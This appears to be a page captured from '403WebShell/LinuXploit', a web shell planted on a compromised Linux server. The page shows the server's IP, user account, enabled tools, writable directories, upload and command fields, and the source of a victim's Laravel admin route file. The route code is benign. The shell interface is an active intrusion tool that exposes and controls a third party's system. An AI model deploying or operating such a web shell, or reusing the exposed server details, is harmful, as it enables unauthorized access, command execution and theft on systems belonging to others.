Uname:Linux localhost.localdomain 5.14.0-596.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jun 27 16:02:33 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 14.225.216.240  /  Your IP : 216.73.217.114
Web Server : nginx/1.20.1
System : Linux localhost.localdomain 5.14.0-596.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jun 27 16:02:33 UTC 2025 x86_64
User : taidh ( 1001)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/pts/app/Module/Admin/Route/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/pts/app/Module/Admin/Route/Base.php
<?php
// phpcs:ignore
use Illuminate\Support\Facades\Route;

/**
 * //Clear route cache:
 Route::get('/route-cache', function() {
     $exitCode = Artisan::call('route:cache');
     return 'Routes cache cleared';
 });
 //Clear config cache:
 Route::get('/config-cache', function() {
     $exitCode = Artisan::call('config:cache');
     return 'Config cache cleared';
 }); 
// Clear application cache:
 Route::get('/clear-cache', function() {
     $exitCode = Artisan::call('cache:clear');
     return 'Application cache cleared';
 });
 // Clear view cache:
 Route::get('/view-clear', function() {
     $exitCode = Artisan::call('view:clear');
     return 'View cache cleared';
 });
 */
Route::group(
    [
        'domain' => config('domain.admin.domain'),
        'namespace' => '\App\Module\Admin\Controller'
    ],
    function () {
        include_once 'Home.php';

        Route::group(
            ['middleware' => ['auth']],
            function () {
                include_once 'Association.php';
            }
        );
    
        // external route
        $ns = '';
        if (defined('APP_NAMESPACE')) {
            $ns = APP_NAMESPACE;
        } elseif(defined('APP_NAMESPACE_ADMIN')) {
            $ns = APP_NAMESPACE_ADMIN;
        }
       
        if (config()->has('mod.' . $ns)) {
            foreach (config('mod.' . $ns) as $v) {
                $path = sprintf(app_path('PTS/%s/Route/Base.php'), ucfirst($v));
                if (file_exists($path)) {
                    include_once $path;
                }
            }
        }

        // classification route
        include_once 'Classification/Base.php';
        // setting route
        // include_once 'Setting/Base.php';
    }
);

Youez - 2016 - github.com/yon3zu
LinuXploit